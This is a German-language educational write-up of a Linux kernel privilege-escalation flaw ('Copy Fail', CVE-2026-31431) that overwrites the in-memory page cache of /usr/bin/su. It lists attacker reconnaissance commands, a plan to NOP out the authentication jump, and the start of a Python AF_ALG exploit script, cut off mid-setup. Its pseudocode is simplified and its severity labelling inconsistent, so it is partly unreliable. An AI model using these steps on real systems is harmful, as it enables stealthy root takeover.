
Detaillierte Analyse der Copy-Fail-Schwachstelle (CVE-2026-31431) im Linux-Kernel, einschließlich des Mechanismus der Speicherkorruption, des Ablaufs der Privilegienausweitung und der Sicherheitsauswirkungen.
Bildungsanalyse der Copy-Fail-Schwachstelle im Linux-Kernel.
Behandelt den Speicherkorruptionsmechanismus, den Privilege-Escalation-Ablauf, den Container-Ausbruch und defensive Gegenmaßnahmen.
Dieses Repository dient ausschließlich Bildungs- und Forschungszwecken.
Verwenden Sie diese Informationen nicht auf Systemen, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Testgenehmigung haben.
Alle Codeausschnitte und Befehle dienen ausschließlich dem Verständnis der Interna des Linux-Kernels.
CVE-2026-31431, auch bekannt als Copy Fail, ist eine Schwachstelle im Linux-Kernel, bei der ein nicht privilegierter lokaler Benutzer ohne besondere Berechtigungen zu root aufsteigen kann.
Der Angriff findet vollständig im RAM statt. Die Datei auf der Festplatte wird nie berührt — das bedeutet, dass Datei-Hashes sauber bleiben, Zeitstempel unverändert sind und Audit-Logs nichts aufzeichnen. Beim Neustart des Systems verschwinden alle Beweise.
Normaler Benutzer → algif_aead-Fehler ausnutzen → Page Cache überschreiben → root
Wichtige Eigenschaften:
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2026-31431 |
| Allgemeiner Name | Copy Fail / algif_aead Page-Cache-Korruption |
| CVSS v3.1-Score | 7.8 — KRITISCH |
| Angriffsart | Lokale Privilege-Eskalation (LPE) |
| Betroffene Kernel-Versionen | Linux 5.10 bis 6.8 (ca.) |
| Verwundbare Komponente | crypto/algif_aead.c — AF_ALG-Socket-Schnittstelle |
| Ausbeutungszuverlässigkeit | HOCH — Keine Race Condition erforderlich |
| Festplatten-Beweise | KEINE — Nur RAM-Modifikation |
| Container-Auswirkung | JA — Host-Ausbruch über gemeinsamen Page Cache |
| Patch-Status | Verfügbar (Upstream-Kernel-Patch veröffentlicht) |
/usr/bin/su — Das Ziel-Binarysu (Switch User) ermöglicht einem Benutzer, zu einem anderen Konto zu wechseln — typischerweise zu root. Es ist ein SetUID-Binary:
ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
# ^-- 's' = SetUID-Flag
Das s-Flag bedeutet: Wenn irgendein Benutzer dieses Binary ausführt, wird es mit root-Berechtigungen ausgeführt. Das macht es zu einem Ziel von hohem Wert.
Seine interne Logik (vereinfacht):
if (password_correct()) {
give_root_access();
} else {
deny_access();
}
Das Angriffsziel: die password_correct()-Prüfung vollständig überspringen.
Wenn Linux eine Datei von der Festplatte liest, behält es eine Kopie im RAM, den sogenannten Page Cache.
| Komponente | Beschreibung |
|---|---|
| Festplatte | Originaldatei auf der Festplatte (das Bücherregal) |
| Page Cache | RAM-Kopie der Datei (die Fotokopie auf Ihrem Schreibtisch) |
| CPU | Liest und führt aus dem Page Cache aus — schnell |
| Angreifer | Modifiziert die RAM-Kopie; die Festplatte bleibt unberührt |
cat /proc/meminfo | grep Cached
# Cached: 1234567 kB ← dies ist der Page Cache
| Typ | Sicherheit |
|---|---|
| Sicherer Puffer — vom Kernel zugewiesen, Größe und Grenzen kontrolliert | ✅ OK |
| Page Cache — dateigestützte RAM-Kopie, gemeinsam genutzt, ausführbar | ⚠️ GEFÄHRLICH, wenn beschrieben |
| Falscher Zeiger — durch Fehler verursachte Adresse, die überall hin zeigen kann | 🔴 KRITISCH |
AF_ALG (Algorithm Family) ist eine Linux-Socket-Schnittstelle, die es Benutzerprogrammen ermöglicht, Kernel-Kryptofunktionen (AES, SHA, AEAD) zu nutzen.
socket(AF_ALG, SOCK_SEQPACKET, 0); // Krypto-Socket öffnen
algif_aead ist das Kernel-Modul, das AEAD-Verschlüsselung (z. B. AES-GCM) über AF_ALG verarbeitet. Die Schwachstelle liegt in seinem Datenkopierschritt.
AF_ALG → algif_aead → AES-GCM-Engine → Ausgabepuffer
↑
FEHLER IST HIER
Der Fehler liegt nicht in der Verschlüsselungslogik. Er liegt in der Speicherverwaltung — während eines Datenkopiervorgangs wird der falsche Speicherbereich ausgewählt.
destination = safe_output_buffer; // korrekte Position
memcpy(destination, user_data, size); // Daten sicher geschrieben
destination = buffer + WRONG_OFFSET; // FEHLER: falscher Zeiger!
memcpy(destination, user_data, size); // Daten landen im Page Cache
Der Kernel sollte in den sicheren Ausgabepuffer schreiben. Aufgrund eines falsch berechneten Offsets schreibt er in den Page Cache — der die RAM-Kopie von /usr/bin/su enthält.
Das Binary enthält x86-64-Maschinencode. Der Angreifer zielt auf den bedingten Sprung, der die Authentifizierungsfehler auslöst:
Vor dem Angriff:
cmp eax, 0 ; Rückgabewert prüfen
jne 0x1234 ; wenn Fehler → Sprung zu deny
call give_root ; root gewähren
Nach dem Angriff (2 Bytes im RAM geändert):
cmp eax, 0 ; gleich
90 90 ; NOP NOP ← Sprung ersetzt, Prüfung übersprungen!
call give_root ; CPU landet hier direkt
NOP = No Operation. Die CPU tut nichts und fährt fort — die Authentifizierungsprüfung wird vollständig übersprungen.
„Ich brauche nur ein normales Benutzerkonto. Der Kernel wird den Fehler selbst machen.
Die Festplatte bleibt sauber. Keine Logs. Funktioniert jedes Mal."
whoami && id
# uid=1000(user) gid=1000(user) ← normaler Benutzer
uname -r
# 6.1.0-generic ← im verwundbaren Bereich
ls -la /usr/bin/su
# -rwsr-xr-x root root ← SetUID bestätigt
python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG verfügbar')"
cat /usr/bin/su > /dev/null
# /usr/bin/su ist jetzt im Page Cache geladen ✓
xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su
Gesucht werden: die Adresse der Auth-Funktion, der bedingte jne/jnz-Sprung und sein exakter Byte-Offset.
import socket, struct
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)